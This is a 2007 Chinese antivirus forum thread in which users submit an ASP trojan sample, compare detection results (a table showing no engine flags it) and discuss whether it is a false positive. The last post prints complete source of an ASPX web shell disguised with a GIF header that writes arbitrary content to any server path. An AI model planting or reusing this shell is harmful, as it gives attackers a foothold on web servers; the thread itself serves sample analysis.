ASP木马一个5F577D

显示全部楼层 · 发表于 2007-7-20 22:15:21

ASP木马一个

[ 本帖最后由 promised 于 2007-7-20 23:09 编辑 ]

显示全部楼层 · 发表于 2007-7-20 22:16:29

红伞和卡6飘..上报

显示全部楼层 · 发表于 2007-7-20 22:18:33

NOD pass

显示全部楼层 · 发表于 2007-7-20 22:22:54

a-squared	3.0.0.123	2007.07.19	2007-07-19	没有检测到病毒	5.201
Arcavir	1.0.4	200707200943	2007-07-20	没有检测到病毒	1.087
AVAST	1.0.8	000758-0	2007-07-19	没有检测到病毒	1.54
AVG	7.5.47.442	269.10.10/908	2007-07-19	没有检测到病毒	1.181
BitDefender	7.60825.702135	7.13945	2007-07-20	没有检测到病毒	2.503
ClamAV	N/A	3705	2007-07-20	没有检测到病毒	0.014
F-SECURE	5.51.6100	2007.07.20.03	2007-07-20	没有检测到病毒	2.267
IKARUS	T3.1.1.8	11:08:17	2007-07-20	没有检测到病毒	1.28
MKS_VIR	2.01	2007.07.19	2007-07-19	没有检测到病毒	0.052
NOD32	2.70.7	2409	2007-07-20	没有检测到病毒	1.316
SOPHOS	2.47	4.19	2007-07-20	没有检测到病毒	0.04
VBA32	3.12.2.1	20070719.1939	2007-07-19	没有检测到病毒	0.539
VirusBuster	4.3.19:9	9.089.4/11.0	2007-07-19	没有检测到病毒	0.884
冰岛杀毒	3.16.15	2007.07.19	2007-07-19	没有检测到病毒	0.38
卡巴斯基	5.5.10	2007.07.20	2007-07-20	没有检测到病毒	0.022
大蜘蛛	4.33	2007.07.20	2007-07-20	没有检测到病毒	4.497
小红伞	7.4.0.44	6.39.0.173	2007-07-20	没有检测到病毒	2.116
熊猫卫士	9.00.00	2007.07.19	2007-07-19	没有检测到病毒	0.725
诺曼	5.90.37	5.90	2007-07-20	没有检测到病毒	2.433
赛门铁克	1.2.0.18	20070719.016	2007-07-19	没有检测到病毒	0.235
趋势	8.500-1001	4.607.00	2007-07-20	没有检测到病毒	0.037
迈克菲	5.1.00	5078	2007-07-19	没有检测到病毒	0.581
金山毒霸	2007.4.17.247	2007.7.20	2007-07-20	没有检测到病毒	0.835

显示全部楼层 · 发表于 2007-7-21 08:27:03

Hello,

Ewebshell.asp, hei.exe_, ASPX.aspx, agentctl.dll, Desktop.ini, Mswinsck.ocx

No malicious code were found in these files.

显示全部楼层 · 发表于 2007-7-21 08:41:42

svs运行后没有任何可疑行为
故误报

显示全部楼层 · 发表于 2007-7-21 12:23:30

打开后这一串什么东西啊，金山，微点都PASS
gif89a<%@ Page language="c#" validateRequest=false %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
<HEAD>
<title>ASPX小马</title>
<meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR">
<meta content="C#" name="CODE_LANGUAGE">
<meta content="JavaScript" name="vs_defaultClientScript">
<meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
<script language="C#" runat="server">

void Page_Load(object sender, System.EventArgs e)
{
string strPath = Server.MapPath(".");
L3.Text = strPath;
}

void Button1_Click(object sender, System.EventArgs e)
{
try
{
System.IO.FileInfo fil = new System.IO.FileInfo(T1.Text);
System.IO.StreamWriter sw = fil.CreateText();
sw.Write(T2.Text);
sw.Flush();
sw.Close();
L4.Text = "文件保存成功!";
}

catch(Exception ex)
{
L4.Text = ex.Message;
}
}
</script>
</HEAD>
<body MS_POSITIONING="GridLayout">
<form id="Form1" method="post" runat="server">
<asp:Label id="L1" style="Z-INDEX: 101; LEFT: 24px; POSITION: absolute; TOP: 96px" runat="server">本文件绝对路径:</asp:Label>
<asp:TextBox id="T1" style="Z-INDEX: 102; LEFT: 144px; POSITION: absolute; TOP: 64px" runat="server"
Width="376px"></asp:TextBox>
<asp:Label id="L2" style="Z-INDEX: 103; LEFT: 24px; POSITION: absolute; TOP: 64px" runat="server">文件保存路径:</asp:Label>
<asp:Label id="L3" style="Z-INDEX: 104; LEFT: 144px; POSITION: absolute; TOP: 96px" runat="server"
Width="584px"></asp:Label>
<asp:TextBox id="T2" style="Z-INDEX: 105; LEFT: 24px; POSITION: absolute; TOP: 128px" runat="server"
Width="504px" Height="344px" TextMode="MultiLine"></asp:TextBox>
<asp:Button id="Button1" style="Z-INDEX: 106; LEFT: 424px; POSITION: absolute; TOP: 504px" runat="server"
Width="96px" Text="保存文件" OnClick="Button1_Click"></asp:Button>
<asp:Label id="L4" style="Z-INDEX: 107; LEFT: 144px; POSITION: absolute; TOP: 24px" runat="server"
Width="432px"></asp:Label></form>
</body>
</HTML>

[病毒样本] ASP木马一个5F577D

本帖子中包含更多资源